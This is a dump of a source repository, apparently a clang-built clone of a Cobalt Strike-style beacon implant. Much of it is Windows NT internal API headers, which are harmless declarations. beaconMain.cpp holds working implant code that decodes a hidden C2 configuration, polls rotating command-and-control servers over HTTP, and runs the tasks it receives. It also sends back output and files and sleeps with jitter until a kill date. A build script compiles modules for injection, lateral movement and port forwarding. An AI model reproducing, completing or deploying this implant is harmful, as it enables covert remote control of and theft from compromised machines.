616 | _In_ NTSTATUS ContinueStatus
617 | );
618 |
619 | __kernel_entry NTSYSCALLAPI
620 | NTSTATUS
621 | NTAPI
622 | NtRemoveProcessDebug(
623 | _In_ HANDLE ProcessHandle,
624 | _In_ HANDLE DebugObjectHandle
625 | );
626 |
627 | _IRQL_requires_max_(PASSIVE_LEVEL)
628 | NTSYSAPI
629 | NTSTATUS
630 | NTAPI
631 | ZwRemoveProcessDebug(
632 | _In_ HANDLE ProcessHandle,
633 | _In_ HANDLE DebugObjectHandle
634 | );
635 |
636 | __kernel_entry NTSYSCALLAPI
637 | NTSTATUS
638 | NTAPI
639 | NtSetInformationDebugObject(
640 | _In_ HANDLE DebugObjectHandle,
641 | _In_ DEBUGOBJECTINFOCLASS DebugObjectInformationClass,
642 | _In_ PVOID DebugInformation,
643 | _In_ ULONG DebugInformationLength,
644 | _Out_opt_ PULONG ReturnLength
645 | );
646 |
647 | _IRQL_requires_max_(PASSIVE_LEVEL)
648 | NTSYSAPI
649 | NTSTATUS
650 | NTAPI
651 | ZwSetInformationDebugObject(
652 | _In_ HANDLE DebugObjectHandle,
653 | _In_ DEBUGOBJECTINFOCLASS DebugObjectInformationClass,
654 | _In_ PVOID DebugInformation,
655 | _In_ ULONG DebugInformationLength,
656 | _Out_opt_ PULONG ReturnLength
657 | );
658 |
659 | __kernel_entry NTSYSCALLAPI
660 | NTSTATUS
661 | NTAPI
662 | NtWaitForDebugEvent(
663 | _In_ HANDLE DebugObjectHandle,
664 | _In_ BOOLEAN Alertable,
665 | _In_opt_ PLARGE_INTEGER Timeout,
666 | _Out_ PDBGUI_WAIT_STATE_CHANGE WaitStateChange
667 | );
668 |
669 | _IRQL_requires_max_(PASSIVE_LEVEL)
670 | NTSYSAPI
671 | NTSTATUS
672 | NTAPI
673 | ZwWaitForDebugEvent(
674 | _In_ HANDLE DebugObjectHandle,
675 | _In_ BOOLEAN Alertable,
676 | _In_opt_ PLARGE_INTEGER Timeout,
677 | _Out_ PDBGUI_WAIT_STATE_CHANGE WaitStateChange
678 | );
679 |
680 | //
681 | // Debugging UI
682 | //
683 |
684 | #ifndef _KERNEL_MODE
685 | NTSYSAPI
686 | NTSTATUS
687 | NTAPI
688 | DbgUiConnectToDbg(
689 | VOID
690 | );
691 |
692 | NTSYSAPI
693 | HANDLE
694 | NTAPI
695 | DbgUiGetThreadDebugObject(
696 | VOID
697 | );
698 |
699 | NTSYSAPI
700 | VOID
701 | NTAPI
702 | DbgUiSetThreadDebugObject(
703 | _In_ HANDLE DebugObject
704 | );
705 |
706 | NTSYSAPI
707 | NTSTATUS
708 | NTAPI
709 | DbgUiWaitStateChange(
710 | _Out_ PDBGUI_WAIT_STATE_CHANGE StateChange,
711 | _In_opt_ PLARGE_INTEGER Timeout
712 | );
713 |
714 | NTSYSAPI
715 | NTSTATUS
716 | NTAPI
717 | DbgUiContinue(
718 | _In_ PCLIENT_ID AppClientId,
719 | _In_ NTSTATUS ContinueStatus
720 | );
721 |
722 | NTSYSAPI
723 | NTSTATUS
724 | NTAPI
725 | DbgUiStopDebugging(
726 | _In_ HANDLE Process
727 | );
728 |
729 | NTSYSAPI
730 | NTSTATUS
731 | NTAPI
732 | DbgUiDebugActiveProcess(
733 | _In_ HANDLE Process
734 | );
735 |
736 | NTSYSAPI
737 | VOID
738 | NTAPI
739 | DbgUiRemoteBreakin(
740 | _In_ PVOID Context
741 | );
742 |
743 | NTSYSAPI
744 | NTSTATUS
745 | NTAPI
746 | DbgUiIssueRemoteBreakin(
747 | _In_ HANDLE Process
748 | );
749 |
750 | NTSYSAPI
751 | NTSTATUS
752 | NTAPI
753 | DbgUiConvertStateChangeStructure(
754 | _In_ PDBGUI_WAIT_STATE_CHANGE StateChange,
755 | _Out_ LPDEBUG_EVENT DebugEvent
756 | );
757 |
758 | NTSYSAPI
759 | NTSTATUS
760 | NTAPI
761 | DbgUiConvertStateChangeStructureEx(
762 | _In_ PDBGUI_WAIT_STATE_CHANGE StateChange,
763 | _Out_ LPDEBUG_EVENT DebugEvent
764 | );
765 | #endif // !_KERNEL_MODE
766 |
767 | VEIL_END()
768 |
769 | #if _MSC_VER >= 1200
770 | #pragma warning(pop)
771 | #endif
772 |
--------------------------------------------------------------------------------
/Veil/Veil/Veil.System.KernelCore.h:
--------------------------------------------------------------------------------
1 | /*
2 | * PROJECT: Veil
3 | * FILE: Veil.h
4 | * PURPOSE: Definition for the Windows Internal API from ntdll.dll,
5 | * samlib.dll and winsta.dll
6 | *
7 | * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License
8 | *
9 | * DEVELOPER: MiroKaku (50670906+MiroKaku@users.noreply.github.com)
10 | */
11 |
12 | /*
13 | * PROJECT: Mouri's Internal NT API Collections (MINT)
14 | * FILE: MINT.h
15 | * PURPOSE: Definition for the Windows Internal API from ntdll.dll,
16 | * samlib.dll and winsta.dll
17 | *
18 | * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License
19 | *
20 | * DEVELOPER: Mouri_Naruto (Mouri_Naruto AT Outlook.com)
21 | */
22 |
23 | /*
24 | * This file is part of the Process Hacker project - https://processhacker.sf.io/
25 | *
26 | * You can redistribute this file and/or modify it under the terms of the
27 | * Attribution 4.0 International (CC BY 4.0) license.
28 | *
29 | * You must give appropriate credit, provide a link to the license, and
30 | * indicate if changes were made. You may do so in any reasonable manner, but
31 | * not in any way that suggests the licensor endorses you or your use.
32 | */
33 |
34 | #pragma once
35 |
36 | // Warnings which disabled for compiling
37 | #if _MSC_VER >= 1200
38 | #pragma warning(push)
39 | // nonstandard extension used : nameless struct/union
40 | #pragma warning(disable:4201)
41 | // 'struct_name' : structure was padded due to __declspec(align())
42 | #pragma warning(disable:4324)
43 | // 'enumeration': a forward declaration of an unscoped enumeration must have an
44 | // underlying type (int assumed)
45 | #pragma warning(disable:4471)
46 | #endif
47 |
48 | VEIL_BEGIN()
49 |
50 | #ifndef _KERNEL_MODE
51 | #define LOW_PRIORITY 0 // Lowest thread priority level
52 | #define LOW_REALTIME_PRIORITY 16 // Lowest realtime priority level
53 | #define HIGH_PRIORITY 31 // Highest thread priority level
54 | #define MAXIMUM_PRIORITY 32 // Number of thread priority levels
55 | #endif // !_KERNEL_MODE
56 |
57 | // private
58 | typedef enum _KTHREAD_STATE
59 | {
60 | Initialized,
61 | Ready,
62 | Running,
63 | Standby,
64 | Terminated,
65 | Waiting,
66 | Transition,
67 | DeferredReady,
68 | GateWaitObsolete,
69 | WaitingForProcessInSwap,
70 | MaximumThreadState
71 | } KTHREAD_STATE, * PKTHREAD_STATE;
72 |
73 | // private
74 | typedef enum _KHETERO_CPU_POLICY
75 | {
76 | KHeteroCpuPolicyAll,
77 | KHeteroCpuPolicyLarge,
78 | KHeteroCpuPolicyLargeOrIdle,
79 | KHeteroCpuPolicySmall,
80 | KHeteroCpuPolicySmallOrIdle,
81 | KHeteroCpuPolicyDynamic,
82 | KHeteroCpuPolicyStaticMax,
83 | KHeteroCpuPolicyBiasedSmall,
84 | KHeteroCpuPolicyBiasedLarge,
85 | KHeteroCpuPolicyDefault,
86 | KHeteroCpuPolicyMax
87 | } KHETERO_CPU_POLICY, * PKHETERO_CPU_POLICY;
88 |
89 | #ifndef _KERNEL_MODE
90 | //
91 | // Wait reasons
92 | //
93 |
94 | typedef enum _KWAIT_REASON
95 | {
96 | Executive,
97 | FreePage,
98 | PageIn,
99 | PoolAllocation,
100 | DelayExecution,
101 | Suspended,
102 | UserRequest,
103 | WrExecutive,
104 | WrFreePage,
105 | WrPageIn,
106 | WrPoolAllocation,
107 | WrDelayExecution,
108 | WrSuspended,
109 | WrUserRequest,
110 | WrEventPair,
111 | WrQueue,
112 | WrLpcReceive,
113 | WrLpcReply,
114 | WrVirtualMemory,
115 | WrPageOut,
116 | WrRendezvous,
117 | WrKeyedEvent,
118 | WrTerminated,
119 | WrProcessInSwap,
120 | WrCpuRateControl,
121 | WrCalloutStack,
122 | WrKernel,
123 | WrResource,
124 | WrPushLock,
125 | WrMutex,
126 | WrQuantumEnd,
127 | WrDispatchInt,
128 | WrPreempted,
129 | WrYieldExecution,
130 | WrFastMutex,
131 | WrGuardedMutex,
132 | WrRundown,
133 | WrAlertByThreadId,
134 | WrDeferredPreempt,
135 | WrPhysicalFault,
136 | WrIoRing,
137 | WrMdlCache,
138 | MaximumWaitReason
139 | } KWAIT_REASON, * PKWAIT_REASON;
140 |
141 | //
142 | // Profile source types
143 | //
144 |
145 | typedef enum _KPROFILE_SOURCE
146 | {
147 | ProfileTime,
148 | ProfileAlignmentFixup,
149 | ProfileTotalIssues,
150 | ProfilePipelineDry,
151 | ProfileLoadInstructions,
152 | ProfilePipelineFrozen,
153 | ProfileBranchInstructions,
154 | ProfileTotalNonissues,
155 | ProfileDcacheMisses,
156 | ProfileIcacheMisses,
157 | ProfileCacheMisses,
158 | ProfileBranchMispredictions,
159 | ProfileStoreInstructions,
160 | ProfileFpInstructions,
161 | ProfileIntegerInstructions,
162 | Profile2Issue,
163 | Profile3Issue,
164 | Profile4Issue,
165 | ProfileSpecialInstructions,
166 | ProfileTotalCycles,
167 | ProfileIcacheIssues,
168 | ProfileDcacheAccesses,
169 | ProfileMemoryBarrierCycles,
170 | ProfileLoadLinkedIssues,
171 | ProfileMaximum
172 | } KPROFILE_SOURCE;
173 | #endif // !_KERNEL_MODE
174 |
175 | __kernel_entry NTSYSCALLAPI
176 | NTSTATUS
177 | NTAPI
178 | NtCallbackReturn(
179 | _In_reads_bytes_opt_(OutputLength) PVOID OutputBuffer,
180 | _In_ ULONG OutputLength,
181 | _In_ NTSTATUS Status
182 | );
183 |
184 | _IRQL_requires_max_(PASSIVE_LEVEL)
185 | NTSYSAPI
186 | NTSTATUS
187 | NTAPI
188 | ZwCallbackReturn(
189 | _In_reads_bytes_opt_(OutputLength) PVOID OutputBuffer,
190 | _In_ ULONG OutputLength,
191 | _In_ NTSTATUS Status
192 | );
193 |
194 | #if (NTDDI_VERSION >= NTDDI_VISTA)
195 | __kernel_entry NTSYSCALLAPI
196 | VOID
197 | NTAPI
198 | NtFlushProcessWriteBuffers(
199 | VOID
200 | );
201 |
202 | _IRQL_requires_max_(PASSIVE_LEVEL)
203 | NTSYSAPI
204 | VOID
205 | NTAPI
206 | ZwFlushProcessWriteBuffers(
207 | VOID
208 | );
209 | #endif
210 |
211 | __kernel_entry NTSYSCALLAPI
212 | NTSTATUS
213 | NTAPI
214 | NtYieldExecution(
215 | VOID
216 | );
217 |
218 | _IRQL_requires_max_(PASSIVE_LEVEL)
219 | NTSYSAPI
220 | NTSTATUS
221 | NTAPI
222 | ZwYieldExecution(
223 | VOID
224 | );
225 |
226 |
227 | //
228 | // Only Kernel
229 | //
230 |
231 | #ifdef _KERNEL_MODE
232 |
233 | _IRQL_requires_max_(PASSIVE_LEVEL)
234 | NTSYSAPI
235 | BOOLEAN
236 | NTAPI
237 | KeAddSystemServiceTable(
238 | _In_ PULONG_PTR Base,
239 | _In_opt_ PULONG Count,
240 | _In_ ULONG Limit,
241 | _In_ PUCHAR Number,
242 | _In_ ULONG Index
243 | );
244 |
245 | // Thread
246 |
247 | typedef enum _KAPC_ENVIRONMENT
248 | {
249 | OriginalApcEnvironment,
250 | AttachedApcEnvironment,
251 | CurrentApcEnvironment,
252 | InsertApcEnvironment
253 | } KAPC_ENVIRONMENT;
254 |
255 | typedef
256 | VOID
257 | (*PKNORMAL_ROUTINE) (
258 | IN PVOID NormalContext,
259 | IN PVOID SystemArgument1,
260 | IN PVOID SystemArgument2
261 | );
262 |
263 | typedef
264 | VOID
265 | (*PKKERNEL_ROUTINE) (
266 | IN struct _KAPC* Apc,
267 | IN OUT PKNORMAL_ROUTINE* NormalRoutine,
268 | IN OUT PVOID* NormalContext,
269 | IN OUT PVOID* SystemArgument1,
270 | IN OUT PVOID* SystemArgument2
271 | );
272 |
273 | typedef
274 | VOID
275 | (*PKRUNDOWN_ROUTINE) (
276 | IN struct _KAPC* Apc
277 | );
278 |
279 | typedef
280 | BOOLEAN
281 | (*PKSYNCHRONIZE_ROUTINE) (
282 | IN PVOID SynchronizeContext
283 | );
284 |
285 | typedef
286 | BOOLEAN
287 | (*PKTRANSFER_ROUTINE) (
288 | VOID
289 | );
290 |
291 | NTSYSAPI
292 | VOID
293 | NTAPI
294 | KeInitializeApc(
295 | _Out_ PRKAPC aApc,
296 | _In_ PRKTHREAD aThread,
297 | _In_ KAPC_ENVIRONMENT aEnvironment,
298 | _In_ PKKERNEL_ROUTINE aKernelRoutine,
299 | _In_opt_ PKRUNDOWN_ROUTINE aRundownRoutine,
300 | _In_opt_ PKNORMAL_ROUTINE aNormalRoutine,
301 | _In_opt_ KPROCESSOR_MODE aProcessorMode,
302 | _In_opt_ PVOID aNormalContext
303 | );
304 |
305 | NTSYSAPI
306 | BOOLEAN
307 | NTAPI
308 | KeInsertQueueApc(
309 | _Inout_ PRKAPC aApc,
310 | _In_opt_ PVOID aSystemArgument1,
311 | _In_opt_ PVOID aSystemArgument2,
312 | _In_ KPRIORITY aIncrement
313 | );
314 |
315 | NTSYSAPI
316 | BOOLEAN
317 | NTAPI
318 | KeRemoveQueueApc(
319 | _In_ PKAPC Apc
320 | );
321 |
322 | NTSYSAPI
323 | BOOLEAN
324 | NTAPI
325 | KeTestAlertThread(
326 | _In_ KPROCESSOR_MODE AlertMode
327 | );
328 |
329 | // Processor
330 |
331 | NTSYSAPI
332 | VOID
333 | NTAPI
334 | KeGenericCallDpc(
335 | _In_ PKDEFERRED_ROUTINE Routine,
336 | _In_ PVOID Context
337 | );
338 |
339 | NTSYSAPI
340 | VOID
341 | NTAPI
342 | KeSignalCallDpcDone(
343 | _In_ PVOID SystemArgument1
344 | );
345 |
346 | NTSYSAPI
347 | LOGICAL
348 | NTAPI
349 | KeSignalCallDpcSynchronize(
350 | _In_ PVOID SystemArgument2
351 | );
352 |
353 |
354 | #endif // _KERNEL_MODE
355 |
356 | VEIL_END()
357 |
358 | #if _MSC_VER >= 1200
359 | #pragma warning(pop)
360 | #endif
361 |
--------------------------------------------------------------------------------
/Veil/Veil/Veil.System.Nls.h:
--------------------------------------------------------------------------------
1 | /*
2 | * PROJECT: Veil
3 | * FILE: Veil.h
4 | * PURPOSE: Definition for the Windows Internal API from ntdll.dll,
5 | * samlib.dll and winsta.dll
6 | *
7 | * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License
8 | *
9 | * DEVELOPER: MiroKaku (50670906+MiroKaku@users.noreply.github.com)
10 | */
11 |
12 | /*
13 | * PROJECT: Mouri's Internal NT API Collections (MINT)
14 | * FILE: MINT.h
15 | * PURPOSE: Definition for the Windows Internal API from ntdll.dll,
16 | * samlib.dll and winsta.dll
17 | *
18 | * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License
19 | *
20 | * DEVELOPER: Mouri_Naruto (Mouri_Naruto AT Outlook.com)
21 | */
22 |
23 | /*
24 | * This file is part of the Process Hacker project - https://processhacker.sf.io/
25 | *
26 | * You can redistribute this file and/or modify it under the terms of the
27 | * Attribution 4.0 International (CC BY 4.0) license.
28 | *
29 | * You must give appropriate credit, provide a link to the license, and
30 | * indicate if changes were made. You may do so in any reasonable manner, but
31 | * not in any way that suggests the licensor endorses you or your use.
32 | */
33 |
34 | #pragma once
35 |
36 | // Warnings which disabled for compiling
37 | #if _MSC_VER >= 1200
38 | #pragma warning(push)
39 | // nonstandard extension used : nameless struct/union
40 | #pragma warning(disable:4201)
41 | // 'struct_name' : structure was padded due to __declspec(align())
42 | #pragma warning(disable:4324)
43 | // 'enumeration': a forward declaration of an unscoped enumeration must have an
44 | // underlying type (int assumed)
45 | #pragma warning(disable:4471)
46 | #endif
47 |
48 | VEIL_BEGIN()
49 |
50 | NTSYSAPI USHORT NlsAnsiCodePage;
51 |
52 | #ifndef _KERNEL_MODE
53 |
54 | #ifdef _NTSYSTEM_
55 |
56 | // Try to avoid these, the preferred system ACP/OEMCP is UTF-8 and these are then irrelevent
57 | #define NLS_MB_CODE_PAGE_TAG NlsMbCodePageTag
58 | #define NLS_MB_OEM_CODE_PAGE_TAG NlsMbOemCodePageTag
59 |
60 | #else
61 |
62 | // Try to avoid these, the preferred system ACP/OEMCP is UTF-8 and these are then irrelevent
63 | #define NLS_MB_CODE_PAGE_TAG (*NlsMbCodePageTag)
64 | #define NLS_MB_OEM_CODE_PAGE_TAG (*NlsMbOemCodePageTag)
65 |
66 | #endif // _NTSYSTEM_
67 |
68 | extern BOOLEAN NLS_MB_CODE_PAGE_TAG; // TRUE -> Multibyte CP, FALSE -> Singlebyte
69 | extern BOOLEAN NLS_MB_OEM_CODE_PAGE_TAG; // TRUE -> Multibyte CP, FALSE -> Singlebyte
70 |
71 | #define MAXIMUM_LEADBYTES 12
72 |
73 | typedef struct _CPTABLEINFO
74 | {
75 | USHORT CodePage;
76 | USHORT MaximumCharacterSize;
77 | USHORT DefaultChar;
78 | USHORT UniDefaultChar;
79 | USHORT TransDefaultChar;
80 | USHORT TransUniDefaultChar;
81 | USHORT DBCSCodePage;
82 | UCHAR LeadByte[MAXIMUM_LEADBYTES];
83 | PUSHORT MultiByteTable;
84 | PVOID WideCharTable;
85 | PUSHORT DBCSRanges;
86 | PUSHORT DBCSOffsets;
87 | } CPTABLEINFO, * PCPTABLEINFO;
88 |
89 | typedef struct _NLSTABLEINFO
90 | {
91 | CPTABLEINFO OemTableInfo;
92 | CPTABLEINFO AnsiTableInfo;
93 | PUSHORT UpperCaseTable;
94 | PUSHORT LowerCaseTable;
95 | } NLSTABLEINFO, * PNLSTABLEINFO;
96 |
97 | #else // !_KERNEL_MODE
98 |
99 | //
100 | // Code Page Default Values.
101 | // Please Use Unicode, either UTF-16 (as in WCHAR) or UTF-8 (code page CP_ACP)
102 | //
103 | #define CP_ACP 0 // default to ANSI code page
104 | #define CP_OEMCP 1 // default to OEM code page
105 | #define CP_MACCP 2 // default to MAC code page
106 | #define CP_THREAD_ACP 3 // current thread's ANSI code page
107 | #define CP_SYMBOL 42 // SYMBOL translations
108 |
109 | #define CP_UTF7 65000 // UTF-7 translation
110 | #define CP_UTF8 65001 // UTF-8 translation
111 |
112 | #include
113 |
114 | #endif // _KERNEL_MODE
115 |
116 | VEIL_END()
117 |
118 | #if _MSC_VER >= 1200
119 | #pragma warning(pop)
120 | #endif
121 |
--------------------------------------------------------------------------------
/Veil/Veil/Veil.System.Security.h:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bestspear/ReBeacon_ForClang/d9a6d3d427ae83c161919a8e681f0acc453b818f/Veil/Veil/Veil.System.Security.h
--------------------------------------------------------------------------------
/beaconMain.cpp:
--------------------------------------------------------------------------------
1 |
2 | #include
3 |
4 | #include "Utils.h"
5 | #include "Global.h"
6 | #include "rotation.h"
7 | #include "encrypt_decrypt.h"
8 | #include "common.h"
9 | #include "comm.h"
10 | #include "BeaconTask.h"
11 | #include "BeaconLateralMovement.h"
12 | #include "ChildBeacon.h"
13 | #include "BeaconSleep.h"
14 | #pragma comment(lib,"ws2_32.lib")
15 | #pragma comment(lib,"Wininet.lib")
16 | #ifdef _WIN64
17 |
18 | #pragma comment(lib,"tomcryptx64.lib")
19 | #pragma comment(lib,"tommathx64.lib")
20 | #else
21 |
22 | #pragma comment(lib,"tomcrypt.lib")
23 | #pragma comment(lib,"tommath.lib")
24 | #endif // _WIN64
25 |
26 | void Beacon_init(HINSTANCE dllbase)
27 | {
28 | Beacon_Dllbase = dllbase;
29 | CsC2Config = (char*)malloc(CsC2Config_size);
30 | memset(CsC2Config, 0, CsC2Config_size);
31 |
32 |
33 | for (int i = 0; i < 0x1000; ++i)
34 | {
35 | rawData[i] ^= 0x2Eu;
36 | }
37 |
38 | datap c2profile;
39 | BeaconDataParse(&c2profile, (char*)rawData, 4096);
40 | for (int index = BeaconDataShort(&c2profile); ; index = BeaconDataShort(&c2profile))
41 | {
42 | if (index <= 0)
43 | {
44 | break;
45 | }
46 | WORD data_type = BeaconDataShort(&c2profile);
47 | WORD data_size = BeaconDataShort(&c2profile);
48 | int size = index_size * index;
49 |
50 | *(WORD*)(CsC2Config + size) = data_type;
51 | switch (data_type)
52 | {
53 | case 1:
54 | *(WORD*)(CsC2Config + size + sizeof(size_t)) = BeaconDataShort(&c2profile);
55 | break;
56 | case 2:
57 | *(DWORD*)(CsC2Config + size + sizeof(size_t)) = BeaconDataInt(&c2profile);
58 | break;
59 | case 3:
60 |
61 | *(ULONG_PTR*)(CsC2Config + size + sizeof(size_t)) = (ULONG_PTR)malloc(data_size);
62 | void* data = BeaconDataPtr(&c2profile, data_size);
63 |
64 | memcpy(*(ULONG_PTR**)(CsC2Config + size + sizeof(size_t)), data, data_size);
65 | break;
66 | }
67 | }
68 | memset(rawData, 0, sizeof(rawData));
69 | return;
70 | }
71 |
72 |
73 | int beacon_stop_date()
74 | {
75 | struct _SYSTEMTIME SystemTime;
76 |
77 | // killdate
78 | if (!get_dword(40))
79 | {
80 | return get_dword(40);
81 | }
82 | GetLocalTime(&SystemTime);
83 | return SystemTime.wDay + 100 * (SystemTime.wMonth + 100 * (unsigned int)SystemTime.wYear) >= get_dword(40);
84 | }
85 |
86 | int Beacon_exit()
87 | {
88 |
89 | if (get_short(55) == 1)
90 | {
91 | if (get_short(39) == 1)
92 | {
93 | while (1)
94 | {
95 | Sleep(0x3E8);
96 | }
97 | }
98 | ExitThread(0);
99 | }
100 | if (get_short(39) != 1)
101 | {
102 | ExitProcess(0);
103 | }
104 | HANDLE threadhandle = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ExitProcess, 0, 0, 0);
105 | return WaitForSingleObject(threadhandle, 0xFFFFFFFF);
106 | }
107 |
108 | int main()
109 | {
110 | Beacon_init(NULL);
111 | datap* parser = BeaconDataInit(0x280);
112 | char* http_get_url = BeaconDataPtr(parser, 256);
113 | BeaconDataPtr(parser, 256);
114 |
115 | char* ServerHost_buffer = (char*)BeaconDataPtr(parser, 128);
116 |
117 | char* ServerIP = get_str(8);
118 | int ServerPort = get_short(2);
119 |
120 | char* lpszAgent = get_str(9);
121 | char* ServerPostUrl = get_str(10);
122 |
123 | g_dwMilliseconds = get_dword(3);
124 | g_jitter = get_short(5);
125 |
126 | int conne_error = 0;
127 |
128 |
129 | rotationstruc* rotation_opt = (rotationstruc*)malloc(sizeof(rotationstruc));
130 |
131 |
132 | int failover_Strategy_number = get_dword(69);
133 |
134 | int failover_Strategy_time = get_dword(70);
135 |
136 | int rotate_Strategy_time = get_dword(68);
137 |
138 |
139 | int strategyID = get_short(67);
140 |
141 |
142 |
143 | init_rotation(rotation_opt, strategyID, rotate_Strategy_time, failover_Strategy_time, failover_Strategy_number);
144 |
145 |
146 | if (beacon_stop_date())
147 | {
148 | Beacon_exit();
149 | }
150 | int server_output_size = get_dword(4); //.http-get.server.output
151 | char* server_output_buffer = (char*)malloc(server_output_size);
152 | Generate_encryption_metadata(server_output_buffer, server_output_size);
153 | while (g_dwMilliseconds)
154 | {
155 |
156 | char* p_ServerHost = beacon_Rotation_Strategy(rotation_opt, ServerIP, conne_error);
157 | _snprintf(ServerHost_buffer, 0x80, "%s", p_ServerHost);
158 |
159 |
160 | conne_error = 0;
161 | char* p_ServerUrl = beacon_Rotation_Strategy(rotation_opt, ServerIP, 0);
162 | _snprintf(http_get_url, 0x80, "%s", p_ServerUrl);
163 |
164 |
165 | g_BeaconStart = 1;
166 | _snprintf(g_post_url, 0x100u, "%s", ServerPostUrl);
167 |
168 |
169 | set_winit_http(ServerHost_buffer, ServerPort, lpszAgent);
170 |
171 |
172 |
173 | int server_out_size = call_send_Metadata(http_get_url, server_output_buffer, server_output_size);
174 | if (server_out_size > 0)
175 | {
176 | int taskdata_size = decrypt_output_data(server_output_buffer, server_out_size);
177 | server_out_size = taskdata_size;
178 |
179 | if (taskdata_size > 0)
180 | {
181 | Parse_Task((BeaconTask*)server_output_buffer, taskdata_size);
182 | }
183 | }
184 |
185 | if (server_out_size == -1)
186 | {
187 | conne_error = 1;
188 | }
189 | else
190 | {
191 | sub_1000715A();
192 |
193 | if (get_dword(28))
194 | {
195 | CheckDownload(4096);
196 | }
197 | else
198 | {
199 | CheckDownload(0x80000);
200 | }
201 | CheckChildBeacon();
202 | CheckJobOutput();
203 | if (beacon_stop_date()) // 判断是否有结束运行日期
204 | {
205 | Beacon_end();//结束
206 | }
207 | if (g_withdatasize > 0)
208 | {
209 | close_http_Handle();
210 | set_winit_http(ServerHost_buffer, ServerPort, lpszAgent);
211 | sned_beacon_data(gBeaconOutputData);
212 | }
213 | }
214 | close_http_Handle();
215 | if (beacon_stop_date())
216 | {
217 | Beacon_exit();
218 | }
219 | if (!g_dwMilliseconds)
220 | {
221 | break;
222 | }
223 | if (g_jitter)
224 | {
225 | int temp = g_dwMilliseconds * g_jitter / 0x64;
226 | temp = temp ? random_int() % temp : 0;
227 | int dwMilliseconds = g_dwMilliseconds;
228 | if (temp < g_dwMilliseconds)
229 | {
230 | dwMilliseconds = g_dwMilliseconds - temp;
231 | }
232 | BeaconSleep(dwMilliseconds);
233 | }
234 | else
235 | {
236 | BeaconSleep(g_dwMilliseconds);
237 | }
238 | }
239 | free(rotation_opt);
240 | return Beacon_exit();
241 | }
242 |
--------------------------------------------------------------------------------
/comm.cpp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bestspear/ReBeacon_ForClang/d9a6d3d427ae83c161919a8e681f0acc453b818f/comm.cpp
--------------------------------------------------------------------------------
/comm.h:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bestspear/ReBeacon_ForClang/d9a6d3d427ae83c161919a8e681f0acc453b818f/comm.h
--------------------------------------------------------------------------------
/common.cpp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bestspear/ReBeacon_ForClang/d9a6d3d427ae83c161919a8e681f0acc453b818f/common.cpp
--------------------------------------------------------------------------------
/common.h:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bestspear/ReBeacon_ForClang/d9a6d3d427ae83c161919a8e681f0acc453b818f/common.h
--------------------------------------------------------------------------------
/crypt-1.18.2.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bestspear/ReBeacon_ForClang/d9a6d3d427ae83c161919a8e681f0acc453b818f/crypt-1.18.2.zip
--------------------------------------------------------------------------------
/encrypt_decrypt.cpp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bestspear/ReBeacon_ForClang/d9a6d3d427ae83c161919a8e681f0acc453b818f/encrypt_decrypt.cpp
--------------------------------------------------------------------------------
/encrypt_decrypt.h:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bestspear/ReBeacon_ForClang/d9a6d3d427ae83c161919a8e681f0acc453b818f/encrypt_decrypt.h
--------------------------------------------------------------------------------
/lib/tomcrypt.lib:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bestspear/ReBeacon_ForClang/d9a6d3d427ae83c161919a8e681f0acc453b818f/lib/tomcrypt.lib
--------------------------------------------------------------------------------
/lib/tomcryptx64.lib:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bestspear/ReBeacon_ForClang/d9a6d3d427ae83c161919a8e681f0acc453b818f/lib/tomcryptx64.lib
--------------------------------------------------------------------------------
/lib/tommath.lib:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bestspear/ReBeacon_ForClang/d9a6d3d427ae83c161919a8e681f0acc453b818f/lib/tommath.lib
--------------------------------------------------------------------------------
/lib/tommathx64.lib:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bestspear/ReBeacon_ForClang/d9a6d3d427ae83c161919a8e681f0acc453b818f/lib/tommathx64.lib
--------------------------------------------------------------------------------
/macro.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #ifdef _WIN64
3 | #define CsC2Config_size 0x800
4 | #define index_size 16
5 | #else
6 | #define CsC2Config_size 0x400
7 | #define index_size 8
8 | #endif // _WIN64
--------------------------------------------------------------------------------
/rotation.cpp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bestspear/ReBeacon_ForClang/d9a6d3d427ae83c161919a8e681f0acc453b818f/rotation.cpp
--------------------------------------------------------------------------------
/rotation.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include "Veil/Veil.h"
3 |
4 | extern int dword_10037E80;
5 | extern char* g_ServerIP_Buff;
6 | typedef struct
7 | {
8 | DWORD strategyID;
9 | DWORD rotate_Strategy_time;
10 | DWORD failover_Strategy_time;
11 | DWORD failover_Strategy_number;
12 | }rotationstruc;
13 |
14 | void init_rotation(rotationstruc* rotation_opt, int strategyID, int rotate_Strategy_time, int failover_Strategy_time, int failover_Strategy_id);
15 |
16 | char* beacon_Rotation_Strategy(rotationstruc* rotation_opt, char* ServerIP, int number);
--------------------------------------------------------------------------------
/start.bat:
--------------------------------------------------------------------------------
1 | mkdir release
2 | clang++ -c BeaconBof.cpp -o ./release/BeaconBof.o
3 | clang++ -c BeaconFileManage.cpp -o ./release/BeaconFileManage.o
4 | clang++ -c BeaconInject.cpp -o ./release/BeaconInject.o
5 | clang++ -c BeaconJob.cpp -o ./release/BeaconJob.o
6 | clang++ -c BeaconLateralMovement.cpp -o ./release/BeaconLateralMovement.o
7 | clang++ -c beaconMain.cpp -o ./release/beaconMain.o
8 | clang++ -c Beaconrportfwd.cpp -o ./release/Beaconrportfwd.o
9 | clang++ -c BeaconSleep.cpp -o ./release/BeaconSleep.o
10 | clang++ -c BeaconTask.cpp -o ./release/BeaconTask.o
11 | clang++ -c BeaconX64.cpp -o ./release/BeaconX64.o
12 | clang++ -c ChildBeacon.cpp -o ./release/ChildBeacon.o
13 | clang++ -c comm.cpp -o ./release/comm.o
14 | clang++ -c common.cpp -o ./release/common.o
